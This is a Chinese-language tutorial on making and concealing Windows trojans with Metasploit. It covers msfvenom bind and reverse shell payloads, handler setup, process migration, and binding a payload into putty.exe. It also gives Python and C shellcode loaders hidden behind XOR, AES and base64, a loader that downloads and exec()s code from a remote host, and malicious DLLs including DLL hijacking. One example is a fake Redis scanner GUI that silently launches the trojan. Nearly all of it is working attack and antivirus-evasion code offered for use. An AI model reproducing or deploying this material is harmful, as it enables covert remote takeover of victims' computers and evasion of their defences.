简单木马生成
MSF参数说明
RHOSTS remote host 远程地址
RPORT remote port 远程端口
LHOST local host 本机地址
LPORT local port 本机端口
本机指kali
正向木马
、###生成###
msfvenom -p windows/x64/meterpreter/bind_tcp LHOST=源IP LPORT=源端口 -f exe -o bind_x64.exe
###上线###
1. 进入 msfconsole 控制台
2. 切换模块
use exploit/multi/handler
3. 设置 payload 必须与你执行的木马生成所使用的payload保持一致
set payload windows/x64/meterpreter/bind_tcp
set LPORT 源端口
set RHOST 靶机ip
run
###原理###
靶机 开启端口
Kali 进行主动访问指定IP指定端口 stage
靶机上线木马 stager
stager <-> stage 传输数据
反向木马
###生成###
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=源ip LPORT=源端口 -f exe -o reverse_x64.exe
###上线###
1. 进入 msfconsole 控制台
2. 切换模块
use exploit/multi/handler
3. 设置 payload 必须与你执行的木马生成所使用的payload保持一致
set payload windows/x64/meterpreter/reverse_tcp
options
set LHOST 源ip
set LPORT 源端口
run
###原理###
Kali 开启端口 并进行监听 stage
靶机上线木马 主动访问 Kali stager
stager <-> stage 传输数据
防止木马被查杀
当我们的木马上线以后,容易被发现并且结束执行,这样的话木马就会下线,我们需要使用一些特殊手段防止木马下线
进程注入
木马运行后会被注入到Windows已经运行的进程上,需要保证该进行不会轻易的被查杀,所以我们选用 explorer.exe 资源管理器进程
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=源ip LPORT=源端口 prependmigrateprocess=explorer.exe prependmigrate=true -f exe -o reverse_x64.exe
程序捆绑
将木马与一个可以执行的程序直接进行保定,当用户点击该程序,该程序正常运行,且木马上线
###x64位系统###
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=源ip LPORT=源端口 --platform windows -x putty.exe -k -f exe -o myputty.exe
###x32位系统###
msfvenom -p windows/meterpreter/reverse_tcp LOHST=源ip LPORT=源端口 -a x86 --platform windows -x putty.exe -k -f exe -o myputty.exe
免杀手段
(1)对ShellCode进行加密处理,如异或、转置、AES加密、Base64编码、多轮加密等。
(2)对加载器代码进行加密或编码处理,使其静态特征不再明显。
(3)分离免杀,将ShellCode和加载器代码放置于网络上,通过下载的方式进行加载,可进一步免除静态特征。
(4)通过进程注入或借助傀儡进程进行加载和运行。
(5)通过加壳的方式对木马进行混淆,进而绕过杀软。
通过静态特征绕过杀软检测相对比较容易,但是要绕过沙箱或动态检测,则非常难。
Python的ShellCode免杀(x64)
MSF支持的源码格式
bash, c, csharp, dw, dword, hex, java, js_be, js_le, num, perl, pl, powershell, ps1, py, python, raw, rb, ruby, sh, vbapplication, vbscript
ShellCode生成
# x64
msfvenom -p windows/x64/meterpreter/reverse_tcp LOHST=源ip LPORT=源端口 -f py -o sc_64_1314.py
# x86
msfvenom -p windows/meterpreter/reverse_tcp LOHST=源ip LPORT=源端口 -f java -o sc_32_1314.py
编写Python加载器
64位加载器
import ctypes
buf = b""
buf += b"\xfc\x48\x83\"
...ShellCode略...
# x64加载器
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(buf), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(buf), len(buf))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
利用Pyinstaller打包Python代码为可执行程序
pip install pyinstaller
#打包命令
pyinstaller -F -w pyshell.py
pyinstaller -F -w -i WX.ico pyshell.py 指定图标(一般不使用他指定,我们自己改)
#pyinstaller 报错
系统如果提示 pyinstaller 不是系统命令...
无法将“pyinstaller”项识别为 cmdlet、函数、脚本文件或可运行程序的名称
以上错误是Python插件文件夹环境变量没有配置
#解决办法
找到 Location site-packages 将他替换为 Scripts
Location: c:\users\coder\appdata\roaming\python\python38\site-packages
替换后 c:\users\coder\appdata\roaming\python\python38\Scripts 添加到 Path 系统环境变量中
Python加载器免杀
使用步骤
1. 下载
https://github.com/Axx8/ShellCode_Loader
2. 下载依赖
2.1 下载
pip install -r requirements.txt
2.2 依赖修该
进入Python插件目录:c:\users\coder\appdata\roaming\python\Python38\site-packages 将目录 crypto 修改为大写开头 Crypto
3. 使用 msf 生成C语言的 ShellCode
msfvenom -e x64/xor_dynamic -p windows/x64/meterpreter/reverse_tcp LOHST=源ip LPORT=源端口 -f c -o sc_64_xor_6969.c
4. 使用 Shellcode loader 加密
4.1 将生成的C语言ShellCode 放在 Shellcode loader目录下
4.2 执行加密语句并得到密文
Shellcode_encryption.exe sc_64_xor_6969.c
Python异或加密(ShellCode结合)
x64_xor_encode.py
import binascii
buf = b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xcc\x00\x00\x00\x41\x51"
buf += b"......"
# 将字节变为字符
source_str = binascii.b2a_hex(buf).decode()
# 将字符串反转
reversed_str = source_str[::-1]
# 对反转字符串进行异或加密
key = 66
encrypted_str = ""
for c in reversed_str:
# 求字符串的 ascii 并于 key 进行异或
tmp = ord(c) ^ key
# 转换为字符并添加到 encrypted_str
encrypted_str += chr(tmp)
# 将异或后的字符串进行下一步解密并生成数值使用分隔符分隔 分隔符自定
decrypted_str = ""
speed = "@"
for c in encrypted_str:
tmp = ord(c) ^ key
decrypted_str += str(tmp) + speed
# 切除 最后多余的 符号
result_str = decrypted_str[0:-1]
print(result_str)
###上线###
online.py
import binascii
import ctypes
# 将加密后的 shellcode 放在这里
codestr = "53@100..."
# 提取 shellcode数值
shellcode_values = codestr.split("@")
key = 66
shellcode1 = ""
# 解密shellcode
for i in shellcode_values:
# 异或还原
tmp = chr(int(i) ^ key)
shellcode1 += tmp
shellcode2 = ""
for c in shellcode1:
tmp = chr(ord(c) ^ key)
shellcode2 += tmp
# 反转字符
shellcode_reversed = shellcode2[::-1]
# 将字符转化为字节
shellcode_bytes = binascii.a2b_hex(shellcode_reversed)
# 上线代码
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode_bytes), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode_bytes), len(shellcode_bytes))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
加载器加密
import base64
import binascii
from Crypto.Cipher import AES
loader = """
ctypes.windll.kernel32.VirtualAlloc.restype=ctypes.c_uint64
rwxpage = ctypes.windll.kernel32.VirtualAlloc(0, len(shellcode_bytes), 0x3000, 0x40)
ctypes.windll.kernel32.RtlMoveMemory(ctypes.c_uint64(rwxpage), ctypes.create_string_buffer(shellcode_bytes), len(shellcode_bytes))
handle = ctypes.windll.kernel32.CreateThread(0, 0, ctypes.c_uint64(rwxpage), 0, 0, 0)
ctypes.windll.kernel32.WaitForSingleObject(handle, -1)
"""
# 加载器base64加密
loader_base64 = base64.b64encode(loader.encode())
# 对base64进行 AES 加密 由于 AES加密需要是 8 的倍数需要补位 按 16 的倍数补
loader_base64_str = loader_base64.decode()
# 判断补位情况
if len(loader_base64_str.encode()) % 16:
bint_num = 16 - len(loader_base64_str.encode()) % 16
else:
bint_num = 0
loader_base64_str += ("\0" * bint_num)
# 对 loader 进行 AES 加密
key = 'DlRbOEFg6LyH9GxTu89HOA=='.encode()
iv = 'DlRbDlRbDlRbDlRbDlRbOA=='
cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, base64.b64decode(iv))
cipher_text = cipher.encrypt(loader_base64_str.encode())
# 将 AES 加密的字符串 变成 ascii
loader_result = binascii.b2a_hex(cipher_text).decode()
print(loader_result)
ShellCode加载器木马上线
import base64
import binascii
import ctypes
from Crypto.Cipher import AES
# 将加密后的 shellcode 放在这里
codestr = "53@100@102@102@..."
# 将加密后的 loader 放在这里
loaders = "ba073f68735..."
# 提取 shellcode数值
shellcode_values = codestr.split("@")
key = 66
shellcode1 = ""
# 解密shellcode
for i in shellcode_values:
# 异或还原
tmp = chr(int(i) ^ key)
shellcode1 += tmp
shellcode2 = ""
for c in shellcode1:
tmp = chr(ord(c) ^ key)
shellcode2 += tmp
# 反转字符
shellcode_reversed = shellcode2[::-1]
# 将字符转化为字节
shellcode_bytes = binascii.a2b_hex(shellcode_reversed)
# 加载器解密
loaderstr = binascii.a2b_hex(loaders)
key = 'DlRbOEFg6LyH9GxTu89HOA=='.encode()
iv = 'DlRbDlRbDlRbDlRbDlRbOA=='
cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, base64.b64decode(iv))
loader_base64 = cipher.decrypt(loaderstr)
# 清除多余的补0
loader_base64 = loader_base64.decode().strip("\0")
# 解密 loader_base64
loader = base64.b64decode(loader_base64).decode()
# 任意代码执行
exec(loader)
远程云木马
import base64
import binascii
import ctypes
import requests
from Crypto.Cipher import AES
# 将加密后的 shellcode 放在这里 发起请求
codestr = requests.get("http://ip/thyjui/vcgghh.php").text
# 将加密后的 loader 放在这里
loaders = requests.get("http://ip/thyjui/tyruuti.php").text
# 提取 shellcode数值
shellcode_values = codestr.split("@")
key = 66
shellcode1 = ""
# 解密shellcode
for i in shellcode_values:
# 异或还原
tmp = chr(int(i) ^ key)
shellcode1 += tmp
shellcode2 = ""
for c in shellcode1:
tmp = chr(ord(c) ^ key)
shellcode2 += tmp
# 反转字符
shellcode_reversed = shellcode2[::-1]
# 将字符转化为字节
shellcode_bytes = binascii.a2b_hex(shellcode_reversed)
# 加载器解密
loaderstr = binascii.a2b_hex(loaders)
key = 'DlRbOEFg6LyH9GxTu89HOA=='.encode()
iv = 'DlRbDlRbDlRbDlRbDlRbOA=='
cipher = AES.new(base64.b64decode(key), AES.MODE_CBC, base64.b64decode(iv))
loader_base64 = cipher.decrypt(loaderstr)
# 清除多余的补0
loader_base64 = loader_base64.decode().strip("\0")
# 解密 loader_base64
loader = base64.b64decode(loader_base64).decode()
# 任意代码执行
exec(loader)
加壳操作
压缩壳:upx,aspack ,fsg ,pecompach
加密壳:ASProtect ,Armadillo(穿山甲),EXEcryptor,Themida,ZProtect
虚拟机壳:VMProtect
C语言免杀
MSF生成C语言木马
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=源ip LPORT=源端口 -e x64/xor_dynamic -f c -o css_6688.c
unsigned 表示无符号二进制 表示范围 0-255 有符号表示范围 -128-127
char buf[] 表示字符数组 理解为字符串
unsigned char buf[] =
"\xeb\x27\x5b\x53\x5f\xb0\x54\xfc\xae\x75\xfd\x57略...";
C语言上线代码
#include <stdio.h>
// 需要引入额外的参数
#include <stdlib.h>
#include <windows.h>
unsigned char buf[] =
"\xeb\x27\x5b\x53\x5f\xb0\x54\xfc\xae\x75\x...";
###上线木马###
// 方法一 需要的代码
typedef void(__stdcall *CODE)();
void start(){
/*
// 方法一 申请内存加载代码
void *p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(p, buf, sizeof(buf));
CODE code =(CODE)p;
code();
*/
// 方法二 堆加载
HANDLE myHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof(buf));
memcpy(exec, buf, sizeof(buf));
((void(*)())exec)();
// 方法三 指针加载 我测试不生效 你们测试一下
// ((void(*)(void)) &buf)();
}
int main(int argc, char** argv) {
start();
return 0;
}
C语言ShellCode异或混淆
####混淆代码###
#include <stdio.h>
// 需要引入额外的参数
#include <stdlib.h>
#include <windows.h>
unsigned char buf[] =
"\xeb\x27\x5b\x53\x5f\xb0\x54\xfc\xae\x75\xfd略";
void EncodeStr(){
int key = 88;
int i;
for (i = 0; i < sizeof(buf)/sizeof(buf[0]); i++){
int tmp = buf[i] ^ key;
// %x 输出 数值类型的十六进制
printf("\\x%x",tmp);
}
}
int main(int argc, char** argv) {
EncodeStr();
return 0;
}
###上线代码###
#include <stdio.h>
// 需要引入额外的参数
#include <stdlib.h>
#include <windows.h>
unsigned char shellcode[] = "\xb3\x7f\x3\xb\x7\xe8\xc\xa4\xf6\x2d\xa5略";
void start(){
unsigned char buf [3000];
int key = 88;
int i;
for (i = 0; i < sizeof(shellcode)/sizeof(shellcode[0]); i++){
int tmp = shellcode[i] ^ key;
buf[i] = tmp;
}
HANDLE myHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof(buf));
memcpy(exec, buf, sizeof(buf));
((void(*)())exec)();
}
int main(int argc, char** argv) {
start();
return 0;
}
DLL木马
生成DLL
创建项目
DLL实现木马免杀
DLL实现木马上线
dll.h
#ifndef _DLL_H_
#define _DLL_H_
#if BUILDING_DLL
#define DLLIMPORT __declspec(dllexport)
#else
#define DLLIMPORT __declspec(dllimport)
#endif
DLLIMPORT void HelloWorld();
DLLIMPORT void Mua();
#endif
maindll.c
#include "dll.h"
#include <stdlib.h>
#include <windows.h>
DLLIMPORT void HelloWorld()
{
MessageBox(0,"MUA~\n","嘻嘻o.O",MB_ICONINFORMATION);
}
DLLIMPORT int Add(int a,int b)
{
return a + b;
}
DLLIMPORT void Mua(){
unsigned char shellcode[] = "\xb3\x7f\x3\xb\x7\xe8\xc\xa4\xf6略...";
unsigned char buf [3000];
int key = 88;
int i;
for (i = 0; i < sizeof(shellcode)/sizeof(shellcode[0]); i++){
int tmp = shellcode[i] ^ key;
buf[i] = tmp;
}
HANDLE myHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof(buf));
memcpy(exec, buf, sizeof(buf));
((void(*)())exec)();
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
{
break;
}
case DLL_PROCESS_DETACH:
{
break;
}
case DLL_THREAD_ATTACH:
{
break;
}
case DLL_THREAD_DETACH:
{
break;
}
}
/* Return TRUE on success, FALSE on failure */
return TRUE;
}
Python语言调用dll文件
import ctypes
# 1. 加载 DLL 文件
dll_handle = ctypes.CDLL("./dlrb.dll")
# 2. 调用 DLL 文件内的 方法
dll_handle.HelloWorld()
dll_handle.Mua()
Python结合dll优化
from tkinter import *
import tkinter.messagebox
from netaddr import IPNetwork
import socket, threading
import ctypes
def scan():
text.insert('end', '===== 开始扫描Redis服务 =====\n\n')
text.update()
# 实现正常的扫描功能
cidr = entry.get()
ip_range = IPNetwork(cidr).iter_hosts()
for ip in ip_range:
try:
s = socket.socket()
s.settimeout(1)
s.connect((str(ip), 6379))
msg = f"IP地址:{ip} 端口 6379 开放.\n"
text.insert("end", f"{msg}\n")
text.update()
s.close()
except:
msg = f"IP地址:{ip} 端口 6379 未开放.\n"
text.insert("end", f"{msg}\n")
text.update()
text.insert('end', '===== 扫描Redis服务结束 =====\n\n\n')
text.update()
# DLL函数调用 需要配置dll文件位置 和木马上线代码
def connect():
func = ctypes.CDLL("./system.dll")
func.Mua()
def look():
tkinter.messagebox.showinfo('MUA', '来了老弟~')
def start():
threading.Thread(target=scan).start()
threading.Thread(target=connect).start()
if __name__ == '__main__':
# 主窗口
root = Tk()
screen_width = root.winfo_screenwidth()
screen_height = root.winfo_screenheight()
x = int(screen_width / 2 - 600 / 2)
y = int(screen_height / 2 - 400 / 2)
root.geometry(f"600x400+{x}+{y}")
root.title('主窗口') # 窗口标题
root.resizable(0, 0) # 是否允许修改尺寸
root.wm_attributes('-alpha', 0.99) # 窗口透明度
label = Label(root, text='请输入CIDR网段:', borderwidth=1, relief='flat')
label.place(width=100, height=30, x=50, y=20)
entry = Entry(root, borderwidth=1, relief='groove')
entry.insert(0, '192.168.88.66/24')
entry.place(width=200, height=30, x=200, y=20)
button = Button(root, activebackground='orange', bg='lightgreen', overrelief='raised', text='开始扫描',
command=start) # 创建按钮
button.place(width=70, height=30, x=480, y=20)
text = Text(root)
text.place(width=500, height=220, x=50, y=80)
button2 = Button(root, activebackground='orange', bg='lightgreen', overrelief='raised', text='点我加V',
command=look) # 创建按钮
button2.place(width=80, height=40, x=250, y=330)
root.mainloop()
DLL劫持免杀
#include "dll.h"
#include <stdlib.h>
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE hinstDLL,DWORD fdwReason,LPVOID lpvReserved)
{
switch(fdwReason)
{
case DLL_PROCESS_ATTACH:
{
break;
}
case DLL_PROCESS_DETACH:
{
break;
}
case DLL_THREAD_ATTACH:
{
break;
}
case DLL_THREAD_DETACH:
{
break;
}
}
unsigned char shellcode[] = "\xb3\x7f\x3\xb\x7\xe8\xc\xa略。。。";
unsigned char buf [3000];
int key = 88;
int i;
for (i = 0; i < sizeof(shellcode)/sizeof(shellcode[0]); i++){
int tmp = shellcode[i] ^ key;
buf[i] = tmp;
}
HANDLE myHeap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);
void* exec = HeapAlloc(myHeap, HEAP_ZERO_MEMORY, sizeof(buf));
memcpy(exec, buf, sizeof(buf));
((void(*)())exec)();
return TRUE;
}